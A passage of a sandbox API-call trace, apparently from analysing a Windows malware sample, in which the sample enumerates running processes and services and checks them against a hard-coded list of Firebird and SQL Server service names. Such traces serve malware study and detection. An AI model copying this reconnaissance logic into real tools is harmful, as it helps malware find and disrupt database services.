lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0200.974] lstrlenW (lpString="forced_online.exe") returned 17 [0200.974] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0200.974] lstrlenW (lpString="knitting.exe") returned 12 [0200.974] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0200.975] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0200.975] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0200.976] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0200.976] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0200.977] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0200.977] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.978] lstrlenW (lpString="svchost.exe") returned 11 [0200.978] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0200.978] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0200.978] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0200.979] lstrlenW (lpString="conhost.exe") returned 11 [0200.979] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0200.980] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0200.980] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0200.981] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0200.981] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0200.982] lstrlenW (lpString="WMIADAP.exe") returned 11 [0200.982] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0200.982] lstrlenW (lpString="11.exe") returned 6 [0200.982] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0200.983] lstrlenW (lpString="cmd.exe") returned 7 [0200.983] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0200.984] lstrlenW (lpString="conhost.exe") returned 11 [0200.984] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0200.985] lstrlenW (lpString="mode.com") returned 8 [0200.985] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0200.985] CloseHandle (hObject=0x2d8) returned 1 [0200.985] Sleep (dwMilliseconds=0x1f4) [0201.690] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889818 [0201.714] EnumServicesStatusExW (in: hSCManager=0x889818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0201.714] GetLastError () returned 0xea [0201.714] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0201.714] EnumServicesStatusExW (in: hSCManager=0x889818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0201.715] CloseServiceHandle (hSCObject=0x889818) returned 1 [0201.715] lstrlenW (lpString="Appinfo") returned 7 [0201.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0201.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0201.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0201.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0201.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0201.715] lstrlenW (lpString="AppXSvc") returned 7 [0201.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0201.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0201.715] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0201.715] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0201.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0201.715] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0201.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0201.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0201.715] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0201.715] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0201.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0201.715] lstrlenW (lpString="Audiosrv") returned 8 [0201.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0201.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0201.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0201.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0201.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0201.716] lstrlenW (lpString="BFE") returned 3 [0201.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0201.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0201.716] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0201.716] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0201.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0201.716] lstrlenW (lpString="BITS") returned 4 [0201.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0201.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0201.716] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0201.716] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0201.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0201.716] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0201.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0201.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0201.716] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0201.716] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0201.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0201.716] lstrlenW (lpString="CDPSvc") returned 6 [0201.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0201.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0201.716] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0201.716] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0201.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0201.716] lstrlenW (lpString="ClickToRunSvc") returned 13 [0201.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0201.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0201.716] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0201.716] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0201.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0201.716] lstrlenW (lpString="ClipSVC") returned 7 [0201.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0201.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0201.720] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0201.720] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0201.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0201.721] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0201.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0201.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0201.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0201.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0201.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0201.721] lstrlenW (lpString="CryptSvc") returned 8 [0201.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0201.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0201.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0201.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0201.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0201.721] lstrlenW (lpString="DcomLaunch") returned 10 [0201.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0201.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0201.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0201.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0201.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0201.721] lstrlenW (lpString="Dhcp") returned 4 [0201.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0201.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0201.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0201.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0201.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0201.721] lstrlenW (lpString="Dnscache") returned 8 [0201.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0201.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0201.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0201.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0201.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0201.721] lstrlenW (lpString="DoSvc") returned 5 [0201.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0201.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0201.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0201.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0201.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0201.722] lstrlenW (lpString="DPS") returned 3 [0201.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0201.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0201.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0201.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0201.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0201.722] lstrlenW (lpString="DusmSvc") returned 7 [0201.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0201.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0201.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0201.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0201.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0201.722] lstrlenW (lpString="EventLog") returned 8 [0201.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0201.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0201.722] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0201.722] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0201.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0201.722] lstrlenW (lpString="EventSystem") returned 11 [0201.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0201.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0201.722] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0201.722] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0201.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0201.722] lstrlenW (lpString="FontCache") returned 9 [0201.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0201.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0201.722] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0201.722] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0201.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0201.722] lstrlenW (lpString="gpsvc") returned 5 [0201.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0201.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0201.722] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0201.723] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0201.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0201.723] lstrlenW (lpString="iphlpsvc") returned 8 [0201.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0201.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0201.723] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0201.723] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0201.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0201.723] lstrlenW (lpString="KeyIso") returned 6 [0201.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0201.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0201.723] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0201.723] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0201.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0201.723] lstrlenW (lpString="LanmanServer") returned 12 [0201.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0201.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0201.723] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0201.723] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0201.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0201.723] lstrlenW (lpString="LanmanWorkstation") returned 17 [0201.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0201.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0201.723] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0201.723] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0201.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0201.723] lstrlenW (lpString="lfsvc") returned 5 [0201.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0201.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0201.723] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0201.723] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0201.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0201.724] lstrlenW (lpString="LicenseManager") returned 14 [0201.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0201.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0201.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0201.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0201.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0201.724] lstrlenW (lpString="lmhosts") returned 7 [0201.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0201.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0201.724] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0201.724] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0201.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0201.724] lstrlenW (lpString="LSM") returned 3 [0201.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0201.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0201.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0201.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0201.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0201.724] lstrlenW (lpString="MpsSvc") returned 6 [0201.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0201.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0201.724] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0201.724] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0201.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0201.724] lstrlenW (lpString="NcbService") returned 10 [0201.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0201.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0201.724] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0201.724] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0201.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0201.724] lstrlenW (lpString="netprofm") returned 8 [0201.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0201.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0201.724] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0201.724] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0201.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0201.724] lstrlenW (lpString="NlaSvc") returned 6 [0201.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0201.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0201.725] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0201.725] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0201.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0201.725] lstrlenW (lpString="nsi") returned 3 [0201.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0201.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0201.725] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0201.725] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0201.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0201.725] lstrlenW (lpString="PcaSvc") returned 6 [0201.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0201.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0201.725] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0201.725] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0201.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0201.725] lstrlenW (lpString="PlugPlay") returned 8 [0201.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0201.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0201.725] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0201.725] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0201.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0201.725] lstrlenW (lpString="Power") returned 5 [0201.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0201.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0201.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0201.725] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0201.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0201.725] lstrlenW (lpString="ProfSvc") returned 7 [0201.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0201.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0201.725] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0201.725] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0201.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0201.725] lstrlenW (lpString="RpcEptMapper") returned 12 [0201.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0201.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0201.726] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0201.726] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0201.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0201.726] lstrlenW (lpString="RpcSs") returned 5 [0201.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0201.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0201.726] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0201.726] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0201.726] lstrcmpiW 